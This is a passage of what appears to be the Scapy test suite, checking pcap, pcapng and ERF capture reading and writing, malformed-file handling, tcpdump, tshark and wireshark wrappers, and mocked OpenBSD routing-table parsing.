BytesIO(b'\\n\\r\\r\\n\\x1c\\x00\\x00\\x00M<+\\x1a\\x01\\x00\\x00\\x00\\xa8\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x1c\\x00\\x00\\x00\\x01\\x00\\x00\\x00(\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\xff\\xff\\x00\\x00\\r\\x00\\x01\\x00\\x04\\x04K\\x00\\t\\x00\\x01\\x00\\tK=N\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x02\\x00\\x00\\x00n\\x00\\x00\\x00\\x00\\x00\\x00\\x00e\\x14\\x00\\x00)4\\'ON\\x00\\x00\\x00N\\x00\\x00\\x00\\x00\\x12\\xf0\\x11h\\xd6\\x00\\x13r\\t{\\xea\\x08\\x00E\\x00\\x00<\\x90\\xa1\\x00\\x00\\x80\\x01\\x8e\\xad\\xc0\\xa8M\\x07\\xc0\\xa8M\\x1a\\x08\\x00r[\\x03\\x00\\xd8\\x00abcdefghijklmnopqrstuvwabcdefghi\\xeay$\\xf6\\x00\\x00n\\x00\\x00\\x00')\npktpcapng = rdpcap(pcapngfile)\nassert len(pktpcapng) == 1\npkt = pktpcapng[0]\n# weird, but wireshark agrees\nassert pkt.time == 22425.352221737\nassert isinstance(pkt, Ether)\npkt = pkt.payload\nassert isinstance(pkt, IP)\npkt = pkt.payload\nassert isinstance(pkt, ICMP)\npkt = pkt.payload\nassert isinstance(pkt, Raw) and pkt.load == b'abcdefghijklmnopqrstuvwabcdefghi'\npkt = pkt.payload\nassert isinstance(pkt, Padding) and pkt.load == b'\\xeay$\\xf6'\npkt = pkt.payload\nassert isinstance(pkt, NoPayload)\n\n= Check PcapNg using Simple Packet Block\n* previous file with the (obsolete) packet block replaced by a Simple Packet Block\npcapngfile = BytesIO(b'\\n\\r\\r\\n\\x1c\\x00\\x00\\x00M<+\\x1a\\x01\\x00\\x00\\x00\\xa8\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x1c\\x00\\x00\\x00\\x01\\x00\\x00\\x00(\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\xff\\xff\\x00\\x00\\r\\x00\\x01\\x00\\x04\\x04K\\x00\\t\\x00\\x01\\x00\\tK=N\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x03\\x00\\x00\\x00`\\x00\\x00\\x00N\\x00\\x00\\x00\\x00\\x12\\xf0\\x11h\\xd6\\x00\\x13r\\t{\\xea\\x08\\x00E\\x00\\x00<\\x90\\xa1\\x00\\x00\\x80\\x01\\x8e\\xad\\xc0\\xa8M\\x07\\xc0\\xa8M\\x1a\\x08\\x00r[\\x03\\x00\\xd8\\x00abcdefghijklmnopqrstuvwabcdefghi\\xeay$\\xf6\\x00\\x00`\\x00\\x00\\x00')\npktpcapng = rdpcap(pcapngfile)\nassert len(pktpcapng) == 1\npkt = pktpcapng[0]\nassert isinstance(pkt, Ether)\npkt = pkt.payload\nassert isinstance(pkt, IP)\npkt = pkt.payload\nassert isinstance(pkt, ICMP)\npkt = pkt.payload\nassert isinstance(pkt, Raw) and pkt.load == b'abcdefghijklmnopqrstuvwabcdefghi'\npkt = pkt.payload\nassert isinstance(pkt, Padding) and pkt.load == b'\\xeay$\\xf6'\npkt = pkt.payload\nassert isinstance(pkt, NoPayload)\n\n= Invalid pcapng files\n\nfrom io import BytesIO\n\n# Invalid PCAPNG format -> Raise\ntry:\n    invalid_pcapngfile_1 = BytesIO(b'\\n\\r\\r\\n\\r\\x00\\x00\\x00M<+\\x1a\\xb2<\\xb2\\xa1\\x01\\x00\\x00\\x00\\r\\x00\\x00\\x00M<+\\x1a\\x80\\xaa\\xb2\\x02')\n    rdpcap(invalid_pcapngfile_1)\n    assert False\nexcept Scapy_Exception:\n    pass\n\n# Invalid Packet in PCAPNG -> return\ninvalid_pcapngfile_2 = BytesIO(b'\\n\\r\\r\\n\\x00\\x00\\x00\\x1c\\x1a+<M\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x1c\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x10\\x12\\x12\\x12\\x12\\x00\\x00\\x00\\x10')\nassert len(rdpcap(invalid_pcapngfile_2)) == 0\n\n# Invalid interface ID in PCAPNG -> raise EOFError\ntry:\n    invalid_pcapngfile_3 = BytesIO(b'\\n\\n\\n\\x14\\x00\\x00\\x00M<+\\x1a    \\x14\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x14\\x00\\x00\\x00        \\x14\\x00\\x00\\x00')\n    rdpcap(invalid_pcapngfile_3)\n    assert False\nexcept Scapy_Exception:\n    pass\n\n# Invalid SPB in PCAPNG -> raise EOFError\ntry:\n    invalid_pcapngfile_4 = BytesIO(b'\\n\\n\\n\\x14\\x00\\x00\\x00M<+\\x1a    \\x14\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x14\\x00\\x00\\x00        \\x14\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x0c\\x00\\x00\\x00\\x0c\\x00\\x00\\x00')\n    rdpcap(invalid_pcapngfile_4)\n    assert False\nexcept Scapy_Exception:\n    pass\n\n= Check PcapWriter on null write\n\nf = BytesIO()\nw = PcapWriter(f)\nw.write([])\nassert len(f.getvalue()) == 0\n\n# Stop being closed for reals, but we still want to have the header written\nwith mock.patch.object(f, 'close') as cf:\n    w.close()\n\ncf.assert_called_once_with()\nassert len(f.getvalue()) != 0\n\n= Check PcapWriter sets correct linktype after null write\n\nf = BytesIO()\nw = PcapWriter(f)\nw.write([])\nassert len(f.getvalue()) == 0\nw.write(Ether()/IP()/ICMP())\nassert len(f.getvalue()) != 0\n\n# Stop being closed for reals, but we still want to have the header written\nwith mock.patch.object(f, 'close') as cf:\n    w.close()\n\ncf.assert_called_once_with()\nf.seek(0) or None\nassert len(f.getvalue()) != 0\n\nr = PcapReader(f)\nf.seek(0) or None\nassert r.LLcls is Ether\nassert r.linktype == DLT_EN10MB\n\nl = [ p for p in RawPcapReader(f) ]\nassert len(l) == 1\n\n= Check RawPcapReader on pcap\n~ pcap\n\nfd = get_temp_file()\nwrpcap(fd, [Ether()/IP()/ICMP()])\nassert len([p for p in RawPcapReader(fd)]) == 1\n\nfor (x, y) in RawPcapReader(fd):\n    pass\n\n= Check RawPcapReader with a Context Manager\n~ pcap\n\nfilename = get_temp_file(fd=False)\nwrpcap(filename, [IP()/TCP(), IP()/UDP()])\n\ntry:\n    with RawPcapReader(filename) as reader:\n        packet = next(reader, None)\n    assert True\nexcept TypeError:\n    assert False\n\n= Check RawPcapWriter\n~ pcap\n\n# GH3256\nfd = get_temp_file()\nwith RawPcapWriter(fd, linktype=1) as w:\n    w.write(b\"test\")\n\nfd = get_temp_file()\nwith RawPcapWriter(fd) as w:\n    w.write(b\"test\")\n    assert w.linktype == 1\n\n= Check tcpdump()\n~ tcpdump\nfrom io import BytesIO\n* No very specific tests because we do not want to depend on tcpdump output\npcapfile = BytesIO(b'\\xd4\\xc3\\xb2\\xa1\\x02\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\x00\\x00\\x01\\x00\\x00\\x000}$]\\xff\\\\\\t\\x006\\x00\\x00\\x006\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00E\\x00\\x00(\\x00\\x01\\x00\\x00@\\x06|\\xcd\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x00\\x14\\x00P\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00\\x91|\\x00\\x000}$]\\x87i\\t\\x00*\\x00\\x00\\x00*\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00E\\x00\\x00\\x1c\\x00\\x01\\x00\\x00@\\x11|\\xce\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x005\\x005\\x00\\x08\\x01r0}$]\\xfbp\\t\\x00*\\x00\\x00\\x00*\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00E\\x00\\x00\\x1c\\x00\\x01\\x00\\x00@\\x01|\\xde\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x08\\x00\\xf7\\xff\\x00\\x00\\x00\\x00')\n\ndata = tcpdump(pcapfile, dump=True, args=['-nn']).split(b'\\n')\nprint(data)\nassert b'127.0.0.1.20 > 127.0.0.1.80:' in data[0]\nassert b'127.0.0.1.53 > 127.0.0.1.53:' in data[1]\nassert b'127.0.0.1 > 127.0.0.1:' in data[2]\n\n* Non existing tcpdump binary\n\nfrom unittest import mock\n\nconf_prog_tcpdump = conf.prog.tcpdump\nconf.prog.tcpdump = \"tcpdump_fake\"\n\ndef _test_tcpdump_notcpdump():\n    try:\n        tcpdump(IP()/TCP())\n        assert False\n    except:\n        assert True\n\n_test_tcpdump_notcpdump()\nconf.prog.tcpdump = conf_prog_tcpdump\n\n# Also check with use_tempfile=True (for non-OSX platforms)\npcapfile.seek(0) or None\ntempfile_count = len(conf.temp_files)\ndata = tcpdump(pcapfile, dump=True, args=['-nn'], use_tempfile=True).split(b'\\n')\nprint(data)\nassert b'127.0.0.1.20 > 127.0.0.1.80:' in data[0]\nassert b'127.0.0.1.53 > 127.0.0.1.53:' in data[1]\nassert b'127.0.0.1 > 127.0.0.1:' in data[2]\n# We should have another tempfile tracked.\nassert len(conf.temp_files) > tempfile_count\n\n# Check with a simple packet\ndata = tcpdump([Ether()/IP()/ICMP()], dump=True, args=['-nn']).split(b'\\n')\nprint(data)\nassert b'127.0.0.1 > 127.0.0.1: ICMP' in data[0].upper()\n\n= Check tcpdump() command with linktype \n~ tcpdump libpcap\n\nf = BytesIO()\npkt = Ether()/IP()/ICMP()\n\nwith mock.patch('subprocess.Popen', return_value=Bunch(\n        stdin=f, wait=lambda: None)) as popen:\n    # Prevent closing the BytesIO\n    with mock.patch.object(f, 'close'):\n        tcpdump([pkt], linktype=\"DLT_EN10MB\", use_tempfile=False)\n\nexpected_command = [conf.prog.tcpdump, '-y', 'EN10MB', '-U', '-r', '-']\nif OPENBSD:\n    expected_command = [conf.prog.tcpdump, '-y', 'EN10MB', '-r', '-']\n\npopen.assert_called_once_with(\n    expected_command,\n    stdin=subprocess.PIPE, stdout=None, stderr=None)\n\nprint(bytes_hex(f.getvalue()))\nassert raw(pkt) in f.getvalue()\nf.close()\ndel f, pkt\n\n= Check tcpdump() command with linktype and args\n~ tcpdump libpcap\n\nf = BytesIO()\npkt = Ether()/IP()/ICMP()\n\nwith mock.patch('subprocess.Popen', return_value=Bunch(\n        stdin=f, wait=lambda: None)) as popen:\n    # Prevent closing the BytesIO\n    with mock.patch.object(f, 'close'):\n        tcpdump([pkt], linktype=scapy.data.DLT_EN10MB, use_tempfile=False)\n\nexpected_command = [conf.prog.tcpdump, '-y', 'EN10MB', '-U', '-r', '-']\nif OPENBSD:\n    expected_command = [conf.prog.tcpdump, '-y', 'EN10MB', '-r', '-']\n\npopen.assert_called_once_with(\n    expected_command,\n    stdin=subprocess.PIPE, stdout=None, stderr=None)\n\nprint(bytes_hex(f.getvalue()))\nassert raw(pkt) in f.getvalue()\nf.close()\ndel f, pkt\n\n= Check sniff() offline with linktype & 802.11 filter\n~ tcpdump linux\n\nfd = get_temp_file()\nwrpcap(fd, [RadioTap()/Dot11()/Dot11ProbeReq(), RadioTap()/Dot11()])\nlst = sniff(offline=fd, filter=\"subtype probe-req\")\nassert len(lst) == 1\n\n= Check tcpdump() command rejects non-string input for prog\n\npkt = Ether()/IP()/ICMP()\n\ntry:\n    tcpdump([pkt], prog=+17607067425, args=['-nn'])\nexcept ValueError as e:\n    if hasattr(e, 'args'):\n        assert 'prog' in e.args[0]\n    else:\n        assert 'prog' in e.message\nelse:\n    assert False, 'expected exception'\n\n= Check tcpdump() command with tshark\n~ tshark\npcapfile = BytesIO(b'\\xd4\\xc3\\xb2\\xa1\\x02\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\x00\\x00e\\x00\\x00\\x00\\xcf\\xc5\\xacVo*\\n\\x00(\\x00\\x00\\x00(\\x00\\x00\\x00E\\x00\\x00(\\x00\\x01\\x00\\x00@\\x06|\\xcd\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x00\\x14\\x00P\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00\\x91|\\x00\\x00\\xcf\\xc5\\xacV_-\\n\\x00\\x1c\\x00\\x00\\x00\\x1c\\x00\\x00\\x00E\\x00\\x00\\x1c\\x00\\x01\\x00\\x00@\\x11|\\xce\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x005\\x005\\x00\\x08\\x01r\\xcf\\xc5\\xacV\\xf90\\n\\x00\\x1c\\x00\\x00\\x00\\x1c\\x00\\x00\\x00E\\x00\\x00\\x1c\\x00\\x01\\x00\\x00@\\x01|\\xde\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x08\\x00\\xf7\\xff\\x00\\x00\\x00\\x00')\n# tshark doesn't need workarounds on OSX\ntempfile_count = len(conf.temp_files)\nvalues = [tuple(int(val) for val in line[:-1].split(b'\\t')) for line in tcpdump(pcapfile, prog=conf.prog.tshark, getfd=True, args=['-T', 'fields', '-e', 'ip.ttl', '-e', 'ip.proto'])]\nassert values == [(64, 6), (64, 17), (64, 1)]\nassert len(conf.temp_files) == tempfile_count\n\n= Check tdecode command directly for tshark\n~ tshark\n\npkts = [\n    Ether()/IP(src='192.0.2.1', dst='192.0.2.2')/ICMP(type='echo-request')/Raw(b'X'*100),\n    Ether()/IP(src='192.0.2.2', dst='192.0.2.1')/ICMP(type='echo-reply')/Raw(b'X'*100),\n]\n\n# tshark doesn't need workarounds on OSX\ntempfile_count = len(conf.temp_files)\n\nr = tdecode(pkts, dump=True)\nr\nassert b'Src: 192.0.2.1' in r\nassert b'Src: 192.0.2.2' in r\nassert b'Dst: 192.0.2.2' in r\nassert b'Dst: 192.0.2.1' in r\nassert b'Echo (ping) request' in r\nassert b'Echo (ping) reply' in r\nassert b'ICMP' in r\nassert len(conf.temp_files) == tempfile_count\n\n= Check tdecode with linktype\n~ tshark\n\n# These are the same as the ping packets above\npkts = [\n  b'\\xff\\xff\\xff\\xff\\xff\\xff\\xac\"\\x0b\\xc5j\\xdb\\x08\\x00E\\x00\\x00\\x80\\x00\\x01\\x00\\x00@\\x01\\xf6x\\xc0\\x00\\x02\\x01\\xc0\\x00\\x02\\x02\\x08\\x00\\xb6\\xbe\\x00\\x00\\x00\\x00XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX',\n  b'\\xff\\xff\\xff\\xff\\xff\\xff\\xac\"\\x0b\\xc5j\\xdb\\x08\\x00E\\x00\\x00\\x80\\x00\\x01\\x00\\x00@\\x01\\xf6x\\xc0\\x00\\x02\\x02\\xc0\\x00\\x02\\x01\\x00\\x00\\xbe\\xbe\\x00\\x00\\x00\\x00XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX',\n]\n\n# tshark doesn't need workarounds on OSX\ntempfile_count = len(conf.temp_files)\n\nr = tdecode(pkts, dump=True, linktype=DLT_EN10MB)\nassert b'Src: 192.0.2.1' in r\nassert b'Src: 192.0.2.2' in r\nassert b'Dst: 192.0.2.2' in r\nassert b'Dst: 192.0.2.1' in r\nassert b'Echo (ping) request' in r\nassert b'Echo (ping) reply' in r\nassert b'ICMP' in r\nassert len(conf.temp_files) == tempfile_count\n\n\n= Run scapy's tshark command\n~ needs_root\ntshark(count=1, timeout=3)\n\n= Check wireshark()\n~ wireshark\n\nf = BytesIO()\npkt = Ether()/IP()/ICMP()\n\nwith mock.patch('subprocess.Popen', return_value=Bunch(stdin=f)) as popen:\n    # Prevent closing the BytesIO\n    with mock.patch.object(f, 'close'):\n        wireshark([pkt])\n\npopen.assert_called_once_with(\n    [conf.prog.wireshark, '-ki', '-'],\n    stdin=subprocess.PIPE, stdout=None, stderr=None)\n\nprint(bytes_hex(f.getvalue()))\nassert raw(pkt) in f.getvalue()\nf.close()\ndel f, pkt\n\n= Check Raw IP pcap files\n\nimport tempfile\nfilename = tempfile.mktemp(suffix=\".pcap\")\nwrpcap(filename, [IP()/UDP(), IPv6()/UDP()], linktype=DLT_RAW)\npackets = rdpcap(filename)\nassert isinstance(packets[0], IP) and isinstance(packets[1], IPv6)\n\n= Check wrpcap() with no packet\n\nimport tempfile\nfilename = tempfile.mktemp(suffix=\".pcap\")\nwrpcap(filename, [])\nfstat = os.stat(filename)\nassert fstat.st_size != 0\nos.remove(filename)\n\n= Check wrpcap() with SndRcvList\n\nimport tempfile\nfilename = tempfile.mktemp(suffix=\".pcap\")\nwrpcap(filename, SndRcvList(res=[(Ether()/IP(), Ether()/IP())]))\nassert len(rdpcap(filename)) == 2\nos.remove(filename)\n\n= Check wrpcap() with different packets types\n\nfrom unittest import mock\nimport os\nimport tempfile\n\nwith mock.patch(\"scapy.utils.warning\") as warning:\n    filename = tempfile.mktemp()\n    wrpcap(filename, [IP(), Ether(), IP(), IP()])\n    os.remove(filename)\n    assert any(\"Inconsistent\" in arg for arg in warning.call_args[0])\n\n= Check wrpcap() with the Loopback layer\n~ tshark\n\nfor cls in [Loopback, LoopbackOpenBSD]:\n    filename = tempfile.mktemp(suffix=\".pcap\")\n    wrpcap(filename, [cls()/IP()/ICMP()])\n    return_value = b\"\".join(line for line in tcpdump(filename, prog=conf.prog.tshark, getfd=True))\n    assert b\"Echo (ping) request\" in return_value\n\n############\n############\n+ ERF Ethernet format support \n\n= Variable creations\nerffile = BytesIO(b'3;!E_9\\x92_\\x02\\x04\\x00p\\x00\\x00\\x00P\\x00\\x00\\x00\\x0fS?\\xca\\xc0\\x1cjz\\x18\\x90\\xed\\x81\\x00\\x01:\\x08\\x00E\\x00\\x00(\\xdf\\xab@\\x00;\\x06\\xb3s\\n\\x01]\\xdb\\n\\xfb9\\xda\\xc3v\\x84\\xecD\\x16\\xb9\\xab\\xda\\xa1b\\xf9P\\x10f\\x98\\x18\\xcb\\x00\\x00\\x00\\x00\\x90\\x9e\\xd7\\xd2_\\x929_\\x0f\\x9e\\xcd\\x1f\\x01\\x88\\xb9\\x15[/s<\\x01\\x88\\xb9\\x15[/\\xcd\\x1f\\x01\\x88\\xb9\\x15[/0\\xcd\"E_9\\x92_\\x02\\x04\\x00p\\x00\\x00\\x00P\\x00\\x00\\x1cjz\\x18\\x90\\xed\\x00\\x0fS?\\xca\\xc0\\x08\\x00E\\x00\\x00(\\xa2\\xdd@\\x00@\\x06\\xebA\\n\\xfb9\\xda\\n\\x01]\\xdb\\x84\\xec\\xc3v\\xda\\xa1b\\xf9D\\x16\\xb9\\xacP\\x10\\x9a\\xf0\\xe4q\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00o\\xbc\\xe2{_\\x929_\\x0f\\x9f+3\\x01\\x88\\xb9\\x15u\\x1e(^\\x01\\x88\\xb9\\x15u\\x1e+3\\x01\\x88\\xb9\\x15u\\x1e')\nerffilewithheader = BytesIO(b'4;!E_9\\x92_\\x82\\x00\\x00x\\x00\\x00\\x00P\\x00\\x00\\x1a+<M^o\\x00\\x00\\x00\\x0fS?\\xca\\xc0\\x1cjz\\x18\\x90\\xed\\x81\\x00\\x01:\\x08\\x00E\\x00\\x00(\\xdf\\xab@\\x00;\\x06\\xb3s\\n\\x01]\\xdb\\n\\xfb9\\xda\\xc3v\\x84\\xecD\\x16\\xb9\\xab\\xda\\xa1b\\xf9P\\x10f\\x98\\x18\\xcb\\x00\\x00\\x00\\x00\\x90\\x9e\\xd7\\xd2_\\x929_\\x0f\\x9e\\xcd\\x1f\\x01\\x88\\xb9\\x15[/s<\\x01\\x88\\xb9\\x15[/\\xcd\\x1f\\x01\\x88\\xb9\\x15[/0\\xcd\"E_9\\x92_\\x82\\x00\\x00x\\x00\\x00\\x00P\\x00\\x00\\x1a+<M^o\\x00\\x00\\x1cjz\\x18\\x90\\xed\\x00\\x0fS?\\xca\\xc0\\x08\\x00E\\x00\\x00(\\xa2\\xdd@\\x00@\\x06\\xebA\\n\\xfb9\\xda\\n\\x01]\\xdb\\x84\\xec\\xc3v\\xda\\xa1b\\xf9D\\x16\\xb9\\xacP\\x10\\x9a\\xf0\\xe4q\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00o\\xbc\\xe2{_\\x929_\\x0f\\x9f+3\\x01\\x88\\xb9\\x15u\\x1e(^\\x01\\x88\\xb9\\x15u\\x1e+3\\x01\\x88\\xb9\\x15u\\x1e')\n\n= Check reading of ERF Ethernet file\npkterf = rderf(erffile)\nassert pkterf[0].time == 1603418463.270038318\nassert pkterf[0][IP].src == \"10.1.93.219\"\nassert pkterf[0][IP].dst == \"10.251.57.218\"\nassert pkterf[0][Ether].src == \"1c:6a:7a:18:90:ed\"\nassert pkterf[0][Ether].dst == \"00:0f:53:3f:ca:c0\"\n\n= Check writing of ERF Ethernet file\nimport os, tempfile\nfdesc, filename = tempfile.mkstemp()\nfdesc = os.fdopen(fdesc, \"wb\")\nwrerf(fdesc, pkterf)\nfdesc.close()\nnewpkterf = rderf(filename)\n\nassert pkterf[1][Ether].src == newpkterf[1][Ether].src\n\nassert len(pkterf) == len(newpkterf)\nassert newpkterf[0].time is not None\nassert newpkterf[0].wirelen is not None\nassert newpkterf[0].time == pkterf[0].time\nassert newpkterf[0].wirelen == pkterf[0].wirelen\nassert newpkterf[1].time is not None\nassert newpkterf[1].wirelen is not None\nassert newpkterf[1].time == pkterf[1].time\nassert newpkterf[1].wirelen == pkterf[1].wirelen\n\n_, filename = tempfile.mkstemp()\nwrerf(filename, pkterf, append=True)\nwrerf(filename, pkterf, append=True)\nnewdoublepkterf = rderf(filename)\n\nassert len(newpkterf) * 2 == len(newdoublepkterf)\n\n= Check rderf\npkterf = rderf(erffilewithheader)\nassert pkterf[1].time == 1603418463.270062279\nassert pkterf[1][Ether].src == \"00:0f:53:3f:ca:c0\"\n\n############\n############\n+ Mocked read_routes() and read_routes6() calls\n\n= Create patcher util\n~ mock_read_routes_bsd little_endian_only\n\n# mock the random to get consistency\nfrom unittest import mock\n\nfrom scapy.pton_ntop import inet_pton\nimport scapy.arch.bpf.pfroute\n\nog_afinet6 = socket.AF_INET6\nog_inet_pton = socket.inet_pton\ndef mock_inet_pton(af, data):\n    if af in [24, 28, 30]:\n        return og_inet_pton(og_afinet6, data)\n    return og_inet_pton(af, data)\n\n\nog_inet_ntop = socket.inet_ntop\ndef mock_inet_ntop(af, data):\n    if af in [24, 28, 30]:\n        return og_inet_ntop(og_afinet6, data)\n    return og_inet_ntop(af, data)\n\n\nclass BSDLoader:\n    def __init__(self, OPENBSD=False, FREEBSD=False, NETBSD=False, DARWIN=False, sysctldata=None, ifaces={}, AF_INET6=socket.AF_INET6, IS_64BITS=True):\n        self.sysctldata = sysctldata\n        self.ifaces = ifaces\n        socket.AF_LINK = 18\n        self.loadpatches = [\n            mock.patch('socket.AF_INET6', AF_INET6),\n            mock.patch('socket.inet_pton', side_effect=mock_inet_pton),\n            mock.patch('socket.inet_ntop', side_effect=mock_inet_ntop),\n            mock.patch('scapy.consts.OPENBSD', OPENBSD),\n            # mock.patch('scapy.consts.FREEBSD', FREEBSD),\n            mock.patch('scapy.consts.NETBSD', NETBSD),\n            mock.patch('scapy.consts.DARWIN', DARWIN),\n            mock.patch('scapy.consts.IS_64BITS', IS_64BITS),\n        ]\n    def __enter__(self):\n        # Apply patches that only occur when loading\n        for p in self.loadpatches:\n            p.start()\n        # Reload module\n        pfroute = importlib.reload(scapy.arch.bpf.pfroute)\n        # Now apply post-load patches\n        self.patches = [\n            mock.patch.object(\n                pfroute,\n                '_sr1_bsdsysctl',\n                return_value=pfroute.pfmsghdrs(self.sysctldata)\n            ),\n            mock.patch.object(\n                pfroute,\n                '_get_if_list',\n                return_value=self.ifaces,\n            ),\n        ]\n        for p in self.patches:\n            p.start()        \n        return pfroute\n    def __exit__(self, type, value, traceback):\n        for p in self.loadpatches:\n            p.stop()\n        for p in self.patches:\n            p.stop()\n        importlib.reload(scapy.arch.bpf.pfroute)\n\n\n= OpenBSD 7.5 amd64 - read_routes()\n~ mock_read_routes_bsd little_endian_only\n\nimport zlib\n\n_PFROUTE_DATA = zlib.decompress(bytes.fromhex('789c7bc1c0ca92c0c0c8c0c0c0c160cec2c0e0ccc10006de0f1850003f0376c08a431c06049830f96bc40f30e2925710626460636163c828cb3360108d6548e5c4aabf0bc6576248c9482ec8494d2c4e4dc1e78e03607f323380fd09243d71f853109be6067c2623dcf5008d5fcfc080e2cf0f48f20a42cc0c1240e7e4e41be0340f593fbafbbd71b81f2b20d2fdf504dcff9f2aee6704bbdf151873d8dc8f961ce0ee67c4264ec0bd18ee0702cadc0fe2b280ddefc8d880d5fdb80031ee07a66b747e1732ffff7f440a22359f5c80bb9f1912fe2ccc58ddcf03a5cd675f494316c71a2f98f6c1bd09761f1002dd26f4b900bb7ad4f820d73fd0f4c4a280d53f5c04dc4dc03f70fb88711f25fe3980ee1f0607acfe61a7c83fe7ffa3f2d1d317f9ee1f05a360148c8251300a46c128180543030000bd836967'))\n\n\nwith BSDLoader(OPENBSD=True, sysctldata=_PFROUTE_DATA, AF_INET6=24) as pfroute:\n    routes = pfroute.read_routes()\n\n\nassert routes == [\n    (0, 0, '172.23.192.1', 'hvn0', '172.23.192.138', 1),\n    (3758096384, 4026531840, '127.0.0.1', 'lo0', '127.0.0.1', 1),\n    (2130706432, 4278190080, '127.0.0.1', 'lo0', '127.0.0.1', 1),\n    (2130706433, 4294967295, '127.0.0.1', 'lo0', '127.0.0.1', 1),\n    (2887237632, 4294963200, '172.23.192.138', 'hvn0', '172.23.192.138', 1),\n    (2887237633, 4294967295, '0.0.0.0', 'hvn0', '172.23.192.138', 1),\n    (2887237770, 4294967295, '0.0.0.0', 'hvn0', '172.23.192.138', 1),\n    (2887241727, 4294967295, '172.23.192.138', 'hvn0', '172.23.192.138', 1)\n]\n\n= OpenBSD 7.6 GENERIC#531 i386 - read_routes()\n~ mock_read_routes_bsd little_endian_only\n\nimport zlib\n_PFROUTE_DATA = zlib.decompress(bytes.fromhex('789c7bc2c0ca92c0c0c8c0c0c0c160cec2c0e0ccc10006fa760c28c08089012b60c52e0c07024c98fc35120f1871c92b083132b031b331a4a41a3088c632a47262316f8dc4ab1330be12434a4672414e6a62716a0a2e371c00fb919901ec4720e989c38f584103612520373d40e3d73330a0f8f10392bc8210338304d03939f90638cd43d68fee7e6f1ab8bf9e80fbff53c5fd8c60f7bb02630d9bfbb126b1062483f0bb9f111fff3f1050e67e109705ec7e47c606aceec70588713f304fa0f111691ce27e440a22358f5c80bb9f1912fe2ccc58ddbf1c4a478aec4a4716c791f5d1dd0ff726d87d4008749cd0e702ecea51e3835cff40d3138b0256ff781370377eff20ec23c67d94f8e700ba7f181cb0fa673a45fe79ff1f958f9ebec877ff281805a360148c8251300a46c128183a0000223e6527'))\n\nwith BSDLoader(OPENBSD=True, sysctldata=_PFROUTE_DATA, AF_INET6=24, IS_64BITS=False) as pfroute:\n    routes = pfroute.read_routes()\n\nassert routes == [\n    (0, 0, '172.24.224.1', 'de0', '172.24.234.200', 1),\n    (3758096384, 4026531840, '127.0.0.1', 'lo0', '127.0.0.1', 1),\n    (2130706432, 4278190080, '127.0.0.1', 'lo0', '127.0.0.1', 1),\n    (2130706433, 4294967295, '127.0.0.1', 'lo0', '127.0.0.1', 1),\n    (2887311360, 4294963200, '172.24.234.200', 'de0', '172.24.234.200', 1),\n    (2887311361, 4294967295, '0.0.0.0', 'de0', '172.24.234.200', 1),\n    (2887314120, 4294967295, '0.0.0.0', 'de0', '172.24.234.200', 1),\n    (2887315455, 4294967295, '172.24.234.200', 'de0', '172.24.234.200', 1)\n]\n\n\n= OpenBSD 7.5 amd64 - read_routes6()\n~ mock_read_routes_bsd little_endian_only\n\nimport zlib\n\n_PFROUTE_DATA = zlib.decompress(bytes.fromhex('789ced96bb0dc2301086cf38481125a248411131011d3505a2600906406204325a4661040a6a4264f130d6c5b19c87e2f07f458adcd9be2f7fe190984647924414d3a67c1e6252dcf7544f56dfb24cbceac2ac171a7a633a979494e39fce6baffde9e32f94ff8e56eab5e9bfe076c98866ecf6eee7fbf8ebdfa03dffbef2ffcd6f38f977eb9f4eecf5aaf9347fb6311cff8bd77ce3f1bf7acdf7f5bfb18de1f8f3f9fd4bfe8f8a5e67ff9c5f1f8c7f6eaf57cdd79ffffbfe4fd5eb0ef297dcf9aef5a6f77fd5fe7de55f087bdd80f1e7d7b7977fa4fcb7af7bdaf467c7cff899b8f34b7f69abbbe4cfad0f26ffc6ff3ffcfa60f29f0c347f00000000000000000000306a9e0a72ae83'))\n\n\nwith BSDLoader(OPENBSD=True, sysctldata=_PFROUTE_DATA, AF_INET6=24) as pfroute:\n    routes = pfroute.read_routes6()\n\n\nassert routes == [\n    ('::', 96, '::1', 'lo0', ['::1'], 1),\n    ('::1', 128, '::1', 'lo0', ['::1'], 1),\n    ('::ffff:0.0.0.0', 96, '::1', 'lo0', ['::1'], 1),\n    ('2002::', 24, '::1', 'lo0', ['::1'], 1),\n    ('2002:7f00::', 24, '::1', 'lo0', ['::1'], 1),\n    ('2002:e000::', 20, '::1', 'lo0', 